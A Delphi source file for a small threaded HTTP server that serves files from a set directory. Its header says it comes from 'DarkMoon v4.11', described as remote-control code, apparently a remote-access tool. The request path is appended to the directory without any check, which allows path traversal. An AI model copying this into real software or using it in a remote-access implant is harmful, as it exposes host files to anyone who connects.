webserverplugin.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

{
  Webserver LITE 1.0
  Version: 1.0
  Written By: ~LOM~
  Website: www.evileyesoftware.com

  OverView
  --------
  This is a basic webserver I did for learning sake -
  really wasn't that hard - I've commented the most part ;)
  if you use any of the source please credit ~LOM~ and
  evileyesoftware.com

  I've kept everything pretty lite - using basic API ;)

  NOTE FROM APHEX: I tidied up a few things hope you
  don't mind :P
}

unit WebserverPlugin;

interface

uses
Windows, SocketUnit, ThreadUnit;

const
  CRLF = #13#10;
  PACKETLEN = 5012;
  DOT = '.';

var
  WebServer: TServerSocket;
  Port: integer;
  Directory: string;
  CloseServer: boolean = False;

procedure StartWebServer(pPort: Integer; pDirectory: string);

implementation

function IntToStr(X: integer): string;
begin
  str(X, Result);
end;

function StrToInt(S: string): integer;
var
  X: integer;
begin
  val(S, Result, X);
end;

function ExtractFileExt(Delimiter, Input: string): string;
begin
  while Pos(Delimiter, Input) <> 0 do Delete(Input, 1, Pos(Delimiter, Input));
  Result := Input;
end;

function LowerCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;

procedure ServeFile(Filename: string; Connection: TClientSocket);
var
  FH, BR: cardinal;
  FS: integer;
  OS: string;
  FStrm: array [1..5012] of Char;
begin
  if (ExtractFileExt(DOT, Filename) = Filename) then Filename := Filename + '/index.htm';
  FH := CreateFile(Pchar(Directory + Filename), LongWord($80000000), 0, nil, 3, $00000080, 0);
  FS := GetFileSize(FH, nil);
  OS := 'HTTP/1.1 200 OK' + CRLF
        + 'Accept-Ranges: bytes' + CRLF
        + 'Content-Length: ' + IntToStr(FS) + CRLF
        + 'Keep-Alive: timeout=15, max=100' + CRLF
        + 'Connection: Keep-Alive' + CRLF
        + 'Content-Type: ' + CRLF + CRLF;
  while Connection.SendBuffer(OS[1], Length(OS)) = -1 do
  begin
    Sleep(1);
  end;
  repeat
    ReadFile(FH, FStrm, PACKETLEN, BR, nil);
    while Connection.SendBuffer(FStrm, BR) = -1 do
    begin
      Sleep(1);
    end;
  until BR < PACKETLEN;
  CloseHandle(FH);
end;

procedure ServePages(Params: TThread);
var
  BI: array [0..PACKETLEN] of Char;
  TB: string;
  Ln: integer;
  Client: TClientSocket;
begin
  Params.Lock;
  Client := WebServer.Accept;
  Params.Unlock;
  Client.Idle(10000);
  Ln := Client.ReceiveBuffer(BI, PACKETLEN);
  TB := Copy(BI, 1, Ln);
  If Pos('GET', BI) > 0 then
  begin
    Delete(TB, 1, 4);
    ServeFile(LowerCase(Copy(TB, 1, Pos('HTTP/1.', TB) - 2)), Client);
  end;
  Client.Free;
  Params.Free;
end;

procedure ListenThread;
begin
  WebServer := TServerSocket.Create;
  WebServer.Listen(Port);
  while CloseServer = False do
  begin
    Webserver.Idle;
    TThread.Create (ServePages,0);
  end;
  WebServer.Destroy;
end;

procedure StartWebServer(pPort: Integer; pDirectory: String);
begin
  CloseServer := False;
  Port := pPort;
  Directory := pDirectory;
  ListenThread;
end;

procedure StopWebServer;
begin
  CloseServer := True;
end;

end.